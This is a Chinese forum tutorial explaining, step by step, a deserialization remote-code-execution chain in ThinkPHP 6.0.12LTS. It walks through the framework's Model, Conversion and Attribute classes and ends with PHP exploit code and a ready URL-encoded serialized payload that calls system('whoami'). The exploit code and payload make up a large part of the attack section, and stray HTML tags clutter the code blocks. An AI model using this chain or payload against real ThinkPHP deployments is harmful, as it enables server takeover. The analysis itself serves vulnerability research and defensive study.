本帖最后由 Meng0f 于 2022-8-6 16:26 编辑
ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)
目录结构这里是看了w0s1np师傅的目录结构,嘻嘻..... - project 应用部署目录
- ├─application 应用目录(可设置)
- │ ├─common 公共模块目录(可更改)
- │ ├─index 模块目录(可更改)
- │ │ ├─config.php 模块配置文件
- │ │ ├─common.php 模块函数文件
- │ │ ├─controller 控制器目录
- │ │ ├─model 模型目录
- │ │ ├─view 视图目录
- │ │ └─ ... 更多类库目录
- │ ├─command.php 命令行工具配置文件
- │ ├─common.php 应用公共(函数)文件
- │ ├─config.php 应用(公共)配置文件
- │ ├─database.php 数据库配置文件
- │ ├─tags.php 应用行为扩展定义文件
- │ └─route.php 路由配置文件
- ├─extend 扩展类库目录(可定义)
- ├─public WEB 部署目录(对外访问目录)
- │ ├─static 静态资源存放目录(css,js,image)
- │ ├─index.php 应用入口文件
- │ ├─router.php 快速测试文件
- │ └─.htaccess 用于 apache 的重写
- ├─runtime 应用的运行时目录(可写,可设置)
- ├─vendor 第三方类库目录(Composer)
- ├─thinkphp 框架系统目录
- │ ├─lang 语言包目录
- │ ├─library 框架核心类库目录
- │ │ ├─think Think 类库包目录
- │ │ └─traits 系统 Traits 目录
- │ ├─tpl 系统模板目录
- │ ├─.htaccess 用于 apache 的重写
- │ ├─.travis.yml CI 定义文件
- │ ├─base.php 基础定义文件
- │ ├─composer.json composer 定义文件
- │ ├─console.php 控制台入口文件
- │ ├─convention.php 惯例配置文件
- │ ├─helper.php 助手函数文件(可选)
- │ ├─LICENSE.txt 授权说明文件
- │ ├─phpunit.xml 单元测试配置文件
- │ ├─README.md README 文件
- │ └─start.php 框架引导文件
- ├─build.php 自动生成定义文件(参考)
- ├─composer.json composer 定义文件
- ├─LICENSE.txt 授权说明文件
- ├─README.md README 文件
- ├─think 命令行入口文件
复制代码
第一个条件需要继续跟进isEmpty(),我们先放一下,第二个条件是当this触发BeforeWrite的结果是true 再看trigger('BeforeWrite'),位于ModelEvent类中: - protected function trigger(string $event): bool { if (!$this->withEvent) { return true; } ..... }<div align="left"></div>
复制代码
让$this->withEvent==false即可满足第二个条件, 我们跟进isEmpty()。 可以看到他的作用是判断模型是否为空的,所以只要$this->data不为空就ok 让$this->data!=null即可满足这个条件。 再看这一句 - $result = $this->exists ? $this->updateData() : $this->insertData($sequence);<div align="left"></div>
复制代码
这里的意思是如果this->exists结果为true,那么就采用this->updateData(),如果不是就采用this->insertData($sequence) 这里可以看到结果是为true的,所以我们跟进updateData() 这里的话想要执行checkAllowFields()方法需要绕过前面的两个if判断,必须满足两个条件 - <div align="left">$this->trigger('BeforeUpdate')==true</div><div align="left">$data!=null</div>
复制代码
第一个条件上面已经满足了,只要关注让data不等于null就可以了 找找data的来源,跟进getChangedData()方法,在/vendor/topthink/think-orm/src/model/concern/Attribute.php中 - $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b)
复制代码
这一句如果this->force结果为true,那么便执行this->data,如果不是那么就会执行array_udiff_assoc($this->data, $this->origin, function ($a, $b)
但因为force没定义默认为null,所以进入了第二种情况,由于$this->data, $this->origin默认也不为null,所以不符合第一个if判断,最终$data=0,也即满足前面所提的第二个条件,$data!=null。
然后回到checkAllowFields()方法,查看一下他是如何调用的。 这里在第10-15行代码中可以看到,如果想进入宗福拼接操作,就需要进入else中,所以我们要使$this->field = array_keys(array_merge($this->schema, $this->jsonType));不成立,那么就需要让$this->field=null,$this->schema=null。
在第14行中出现了$this->table . $this->suffix这一字符串拼接,存在可控属性的字符拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。所以可以找一个有__tostring方法的类做跳板,寻找__tostring,
在/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到了 看来使需要使用toJson(),跟进一下 没找到相关,再看一眼代码,发现第九行中调用了toArray()方法,然后以json格式返回 那我们再看看toArray()方法 - <blockquote>public function toArray(): array
复制代码根据第34行和第44行,第34行是遍历给定的数组语句data数组。每次循环中,当前单元的之被赋给val并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元),同时当前单元的键名也会在每次循环中被赋给变量key。第44行是将val和key相关联起来,漏洞方法是getAtrr触发,只需把$data设为数组就行。
在第47和49行中存在getAttr方法,那触发条件是啥呢?
$this->visible[$key]需要存在,而$key来自$data的键名,$data又来自$this->data,即$this->data必须有一个键名传给$this->visible,然后把键名$key传给getAttr方法,那岂不是默认就能触发...? 跟进getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php 在第18行中可以看到漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。 那就进一步跟进getData方法 可以看到$this->data是可控的(第16行),而其中的$fieldName来自getRealFieldName方法。 跟进getRealFieldName方法 - /**
- * 获取实际的字段名
- * @access protected
- * @param string $name 字段名
- * @return string
- */
- protected function getRealFieldName(string $name): string
- {
- if ($this->convertNameToCamel || !$this->strict) {
- return Str::snake($name);
- }
-
- return $name;
- }
复制代码
当$this->strict为true时直接返回$name,即键名$key 返回getData方法,此时$fieldName=$key,进入if语句,返回$this->data[$key],再回到getAttr方法, return $this->getValue($name, $value, $relation);即返回 return $this->getValue($name, $this->data[$key], $relation);跟进getValue方法 - /**
- * 获取经过获取器处理后的数据对象的值
- * @access protected
- * @param string $name 字段名称
- * @param mixed $value 字段值
- * @param bool|string $relation 是否为关联属性或者关联名
- * @return mixed
- * @throws InvalidArgumentException
- */
- protected function getValue(string $name, $value, $relation = false)
- {
- // 检测属性获取器
- $fieldName = $this->getRealFieldName($name);
-
- if (array_key_exists($fieldName, $this->get)) {
- return $this->get[$fieldName];
- }
-
- $method = 'get' . Str::studly($name) . 'Attr';
- if (isset($this->withAttr[$fieldName])) {
- if ($relation) {
- $value = $this->getRelationValue($relation);
- }
-
- if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
- $value = $this->getJsonValue($fieldName, $value);
- } else {
- $closure = $this->withAttr[$fieldName];
- if ($closure instanceof \Closure) {
- $value = $closure($value, $this->data);
- }
- }
- } elseif (method_exists($this, $method)) {
- if ($relation) {
- $value = $this->getRelationValue($relation);
- }
复制代码
第30行中,如果我们让$closure为我们想执行的函数名,$value和$this->data为参数即可实现任意函数执行。 所以需要查看$closure属性是否可控,跟进getRealFieldName方法, - protected function getRealFieldName(string $name): string
- {
- if ($this->convertNameToCamel || !$this->strict) {
- return Str::snake($name);
- }
复制代码
如果让$this->strict==true,即可让$$fieldName等于传入的参数$name,即开始的$this->data[$key]的键值$key,可控 又因为$this->withAttr数组可控,所以,$closure可控·,值为$this->withAttr[$key],参数就是$this->data,即$data的键值, 所以我们需要控制的参数: - $this->data不为空
- $this->lazySave == true
- $this->withEvent == false
- $this->exists == true
- $this->force == true
复制代码
EXP编写捋一下链子太长了,重新捋一下参数的传递过程,要不就懵了,倒着捋慢慢往前分析 先看__toString()的触发 - Conversion::__toString()
- Conversion::toJson()
- Conversion::toArray() //出现 $this->data 参数
- Attribute::getAttr()
- Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
- Attribute::getJsonValue() // 造成RCE漏洞
复制代码
首先出现参数可控的点在Conversion::toArray()中(第二行),在这里如果控制$this->data=['whoami'=>['whoami']],那么经过foreach遍历(第四行),传入Attribute::getAttr()函数的$key也就是whoami(19行) - <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>// 合并关联数据
- $data = array_merge($this->data, $this->relation);
-
- foreach ($data as $key => $val) {
- if ($val instanceof Model || $val instanceof ModelCollection) {
- // 关联模型对象
- if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
- $val->visible($this->visible[$key]);
- } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
- $val->hidden($this->hidden[$key]);
- }
- // 关联模型对象
- if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
- $item[$key] = $val->toArray();
- }
- } elseif (isset($this->visible[$key])) {
- $item[$key] = $this->getAttr($key);
- } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
- $item[$key] = $this->getAttr($key);
复制代码
然后在Attribute::getAttr()函数中,通过getData()函数从$this->data中拿到了数组中的value后返回 - <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>public function getAttr(string $name)
- {
- try {
- $relation = false;
- $value = $this->getData($name);
- } catch (InvalidArgumentException $e) {
- $relation = $this->isRelationAttr($name);
- $value = null;
- }
-
- return $this->getValue($name, $value, $relation);
- }
复制代码
getData()返回的是数组中相应的value,所以第5行的$this->getData($name)也就是$this->getData($value=['whoami']) 在Attribute::getValue()函数中对withAttr和json参数进行了验证 - <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>$method = 'get' . Str::studly($name) . 'Attr';
- if (isset($this->withAttr[$fieldName])) {
- if ($relation) {
- $value = $this->getRelationValue($relation);
- }
-
- if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
- $value = $this->getJsonValue($fieldName, $value);
- } else {
复制代码
第2行的if语句中需要$this->withAttr[$fieldName]存在的同时需要是一个数组,$this->withAttr['whoami'=>['system']] 第7行if语句中中是判断$fieldName是否在$this->json中,即in_array($fieldName, $this->json),所以只需要$this->json=['whoami'] 接下来分析一下__destruct()的触发过程 - Model::__destruct()
- Model::save()
- Model::updateData()
- Model::checkAllowFields()
- Model::db() // 触发 __toString()<div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px">首先在Model::__destruct()中$this->lazySave需要为true,参数可控</font></font></font></div>public function __destruct()
- {
- if ($this->lazySave) {
- $this->save();
- }
- }
- }
- $this->lazySave=true
复制代码
然后在Model::save() 需要绕过isEmpty()和$this->exists参数 - <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div>// 数据对象赋值
- $this->setAttrs($data);
-
- if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
- return false;
- }
-
- $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
-
- if (false === $result) {
- return false;
- }
复制代码
第4行的$this->trigger('BeforeWrite')是默认为true的,所以只要$this->data不为空即可 第8行中如果this->exists结果为true,那么就采用this->updateData(),如果不是就采用this->insertData($sequence)所以我们需要让this->exists结果为true 那么最后就是Model::db()方法,保证$this->table能触发__toString()(第八行) - public function db($scope = []): Query
- {
- /** @var Query $query */
- $query = self::$db->connect($this->connection)
- ->name($this->name . $this->suffix)
- ->pk($this->pk);
- if (!empty($this->table)) {
- $query->table($this->table . $this->suffix);
- }
复制代码
编写首先Model类是一个抽象类,不能实例化,所以要想利用,得找出 Model 类的一个子类进行实例化,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,所以关键字可以直接用 将上面捋出来的需要的属性全部重新编写 - <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div><?php
-
- // 保证命名空间的一致
- namespace think {
- // Model需要是抽象类
- abstract class Model {
- // 需要用到的关键字
- private $lazySave = false;
- private $data = [];
- private $exists = false;
- protected $table;
- private $withAttr = [];
- protected $json = [];
- protected $jsonAssoc = false;
-
- // 初始化
- public function __construct($obj='') {
- $this->lazySave = true;
- $this->data = ['whoami'=>['whoami']];
- $this->exists = true;
- $this->table = $obj; // 触发__toString
- $this->withAttr = ['whoami'=>['system']];
- $this->json = ['whoami'];
- $this->jsonAssoc = true;
- }
- }
- }
复制代码
全局搜索extends Model,找到一个Pivot类继承了Model - <div align="left"><font color="rgb(51, 51, 51)"><font face="" "=""><font style="font-size: 16px"></font></font></font></div><?php
-
- // 保证命名空间的一致
- namespace think {
- // Model需要是抽象类
- abstract class Model {
- // 需要用到的关键字
- private $lazySave = false;
- private $data = [];
- private $exists = false;
- protected $table;
- private $withAttr = [];
- protected $json = [];
- protected $jsonAssoc = false;
-
- // 初始化
- public function __construct($obj='') {
- $this->lazySave = true;
- $this->data = ['whoami'=>['whoami']];
- $this->exists = true;
- $this->table = $obj; // 触发__toString
- $this->withAttr = ['whoami'=>['system']];
- $this->json = ['whoami'];
- $this->jsonAssoc = true;
- }
- }
- }
-
- namespace think\model {
- use think\Model;
- class Pivot extends Model {
-
- }
-
- // 实例化
- $p = new Pivot(new Pivot());
- echo urlencode(serialize($p));
- }
复制代码
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
|